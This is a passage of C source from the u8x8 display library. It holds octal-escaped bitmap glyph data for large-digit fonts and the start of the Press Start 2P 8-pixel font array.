\"\\0\\0\\0\\0\\0\\300\\340\\340\\300\\300\\200\\200\\0\\0\\0\\0\\37\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\200\\200\\300\\300\"\n  \"\\340\\300\\0\\0\\17\\17\\17\\17\\37\\37\\37\\37\\77\\77\\276\\376\\374\\377\\377\\377\\377\\377\\374\\376\\276>\\77\\37\\37\\37\\37\\17\"\n  \"\\17\\17\\17\\10\\0\\0\\0\\200\\300\\340\\360\\370\\376\\377\\377\\177\\77\\17\\7\\3\\7\\17\\77\\177\\377\\377\\376\\370\\360\\340\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\3\\7\\17\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\17\\17\\7\\3\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\77\\377\\377\\377\\377\\377\\377\\77\\77\\77\\77\\77\\77\\77\\77\\77\"\n  \"\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\340\\360\\360\\360\\360\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\37\\277\\377\\377\\377\\377\\377\\377\\77\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60x|\\376\\177\\77\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n  \"~~\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\340\\360\\360\\360\\360\\340\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\37\\77\\77\\77\\77\\37\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\370\\370\\360\"\n  \"\\360`\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374\\377\\377\\377\\377\\177\\37\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\377\\377\\377\\77\\7\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\377\\377\\377\\377\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\377\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\377\\377\\377\\377\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\14\\17\\37\\37\\77\\77\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\376\\377\\377\\377\\177\\77\\37\\37\\17\\17\\37\\37\\77\\377\\377\\376\\374\\370\\360\\300\\0\"\n  \"\\0\\0\\0\\0\\200\\370\\377\\377\\377\\377\\377\\377\\17\\3\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\374\\377\\377\\77\\377\\377\\377\\377\"\n  \"\\370\\200\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\200\\340\\360\\374\\376\\177\\77\\37\\7\\3\\1\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\7\\177\\377\\377\\377\\377\\377\\374\\370\\376\\177\\77\\37\\7\\3\\1\\0\\0\\0\\0\\0\\0\\200\\370\\377\\377\\377\\377\"\n  \"\\377\\7\\0\\0\\0\\0\\3\\17\\37\\77\\377\\377\\377\\377\\376\\370\\360\\360\\340\\340\\340\\340\\360\\360\\374\\376\\377\\377\\177\\77\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\17\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0p\\370\\370\\374\\374~~\\177\\177\\77\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0`\\360\\370\\374\\376\\377\\377\\77\\77\\37\\37\\37\\17\\17\\17\\37\\37\\77\\77\\177\\377\\377\\376\\376\\374\\360\"\n  \"\\340\\200\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\303\\377\\377\\377\\377\\377\"\n  \"\\377\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360\\370\\376\\377\\377\\177\\77\\37\\17\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\374\\376\\377\\377\\177\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\360\\374\\376\\377\\377\\377\\377\\357\\347\\343\\341\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\360\\360\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\10\\34>~\\377\\177\\77\\77\\37\\37\\17\\17\\17\\37\\37\\37\\77\\77\\377\\377\\377\\376\\374\\370\\360\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\377\\377\\377\\377\\377\\177\"\n  \"\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0>>>>>>\\77\\177\\177\\377\\377\\377\\377\\377\\363\\341\\300\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\207\\377\\377\\377\\377\\377\"\n  \"\\377\\370\\0\\0\\0\\0 x\\374\\376\\377\\377\\370\\370\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\377\\377\\377\\377\\177\\77\"\n  \"\\17\\3\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\300\\300\\300\\300\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\376\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\374\\377\\377\\77\\37\\7\\3\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\376\\377\\377\\77\\37\\7\\1\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0|\\177\\177\\177\\177\\177\\177\\177~~~~~~~~~~\\377\\377\\377\\377\\377\\377\\377~~~\"\n  \"~~~\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\0\\370\\377\\377\\377\\377\\377\\377\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\"\n  \"\\17\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\340\\340\\360\\360\\360\\360\\360\\360\\360\\360\\340\\340\\300\\300\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\36\\37\\77\\77\\177\\77\\37\\17\\7\\7\\7\\3\\3\\3\\3\\7\\7\\17\\37\\77\\377\\377\\377\\377\\376\"\n  \"\\374\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\10\\30<~\\377\\377\\377\\376\\370\\370\\360\\360\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\377\\377\\377\\377\\177\"\n  \"\\37\\17\\1\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370\\374\\376\\377\\377\\177\\77\\77\\37\\37\\37\\17\\17\\17\\37\\37\\77\\177\\377\\177>\"\n  \"\\36\\14\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\377\\77\\203\\301\\300\\340\\340\\340\\340\\340\\340\\340\\340\\340\\300\\300\\200\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\377\\77\\37\\37\\17\\17\\7\\7\\7\\7\\7\\17\\37\\77\\377\\377\\377\\377\\376\"\n  \"\\370\\360\\200\\0\\0\\0\\77\\377\\377\\377\\377\\377\\377\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\0\\1\\17\\37\\177\\377\\377\\377\\377\\374\\370\\360\\340\\340\\340\\340\\340\\340\\360\\370\\374\\377\\377\\377\\377\\177\"\n  \"\\37\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\0\\0\\0\\0\\0\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\17\\217\\377\\377\\377\\377\\377\\377\\177\\37\"\n  \"\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\376\\377\\377\\377\\377\\177\\17\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\377\\377\\377\\377\\377\\77\\17\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\377\\377\\377\\377\\377\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\\377\\377\\177\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\7\\7\\7\\7\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\376\\376\\377\\377\\177\\77\\37\\37\\37\\17\\17\\37\\37\\37\\77\\377\\377\\377\\376\\376\\374\\360\"\n  \"\\300\\0\\0\\0\\0\\0\\0\\37\\177\\377\\377\\377\\377\\377\\360\\300\\200\\200\\0\\0\\0\\0\\0\\200\\300\\360\\377\\377\\377\\377\\377\\77\"\n  \"\\17\\0\\0\\0\\0\\0\\0\\0\\200\\300\\341\\363\\367\\377\\377\\377\\177\\77\\77>>~\\177\\377\\377\\377\\377\\367\\343\\341\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\374\\377\\377\\377\\377\\377\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\377\\377\\377\\377\\377\"\n  \"\\376\\370\\0\\0\\0\\7\\37\\77\\177\\377\\377\\377\\377\\374\\370\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\376\\377\\377\\377\\177\\77\"\n  \"\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\3\\3\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\300\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\376\\377\\377\\177\\77\\37\\37\\17\\17\\17\\37\\37\\77\\177\\377\\377\\376\\374\\370\\360\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\376\\377\\377\\377\\377\\377\\377\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\377\\377\\377\\377\\377\"\n  \"\\377\\370\\0\\0\\0\\0\\1\\17\\77\\177\\377\\377\\377\\377\\374\\370\\360\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\7\\7\\7\\7\\7\\7\\3\\3\\1\\361\\377\\377\\377\\377\\377\"\n  \"\\377\\17\\0\\0\\0\\0\\0\\340\\360\\370\\374\\374\\374\\360\\360\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\377\\377\\377\\177\\77\\17\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\3\\1\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\340\\340\\340\\340\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\77\\77\\177\\177\\177\\177\\77\\77\\17\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\340\\360\\360\\360\\360\\340\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\37\\77\\77\\77\\77\\37\\37\\7\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FreeType-Press Start 2P-Medium-R-Normal--8-80-72-72-P-69-ISO10646-1\n  Copyright: (c) 2011 Cody \n  Glyphs: 192/556\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_pressstart2p_f[1796] U8X8_FONT_SECTION(\"u8x8_font_pressstart2p_f\") = \n  \" \\377\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0__\\7\\0\\0\\0\\0\\7\\7\\0\\7\\7\\0\\0\\42\\177\\177\\42\"\n  \"\\177\\177\\42\\0$.*\\177*:\\20\\0F%\\23\\10dR\\61\\0\\66\\177I_v`P\\0\\0\\0\\7\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\34>cA\\0\\0\\0Ac>\\34\\0\\0\\0\\10*>\\34>*\\10\\0\\0\\10\\10>\"\n  \">\\10\\10\\0\\0\\200\\340`\\0\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0``\\0\\0\\0\\0@ \\20\\10\"\n  \"\\4\\2\\1\\0\\34>aAC>\\34\\0\\0@B\\177\\177@@\\0bsyY]OF\\0 aIM\"\n  \"O{\\61\\0\\30\\34\\26\\23\\177\\177\\20\\0'gEEE}\\70\\0<~KIIy\\60\\0\\3\\3qy\"\n  \"\\15\\7\\3\\0\\66OMYYv\\60\\0\\6OIIi\\77\\36\\0\\0\\0\\66\\66\\0\\0\\0\\0\\0@v\\66\"\n  \"\\0\\0\\0\\0\\0\\10\\34\\66cA\\0\\0\\24\\24\\24\\24\\24\\24\\24\\0\\0Ac\\66\\34\\10\\0\\0\\6\\7SS\"\n  \"[\\17\\6\\0>A]U]Q\\36\\0|~\\23\\21\\23~|\\0\\177\\177III\\177\\66\\0\\34>cA\"\n  \"Ac\\42\\0\\177\\177AAc>\\34\\0\\177\\177IIIIA\\0\\177\\177\\11\\11\\11\\11\\1\\0\\34>cA\"\n  \"Iyy\\0\\177\\177\\10\\10\\10\\177\\177\\0\\0AA\\177\\177AA\\0 `@@@\\177\\77\\0\\177\\177\\30<\"\n  \"vcA\\0\\0\\177\\177@@@@\\0\\177\\177\\16\\34\\16\\177\\177\\0\\177\\177\\16\\34\\70\\177\\177\\0>\\177AA\"\n  \"A\\177>\\0\\177\\177\\21\\21\\21\\37\\16\\0>\\177AQq\\77^\\0\\177\\177\\21\\61yoN\\0&oII\"\n  \"Kz\\60\\0\\0\\1\\1\\177\\177\\1\\1\\0\\77\\177@@@\\177\\77\\0\\17\\37\\70p\\70\\37\\17\\0\\177\\177\\70\\34\"\n  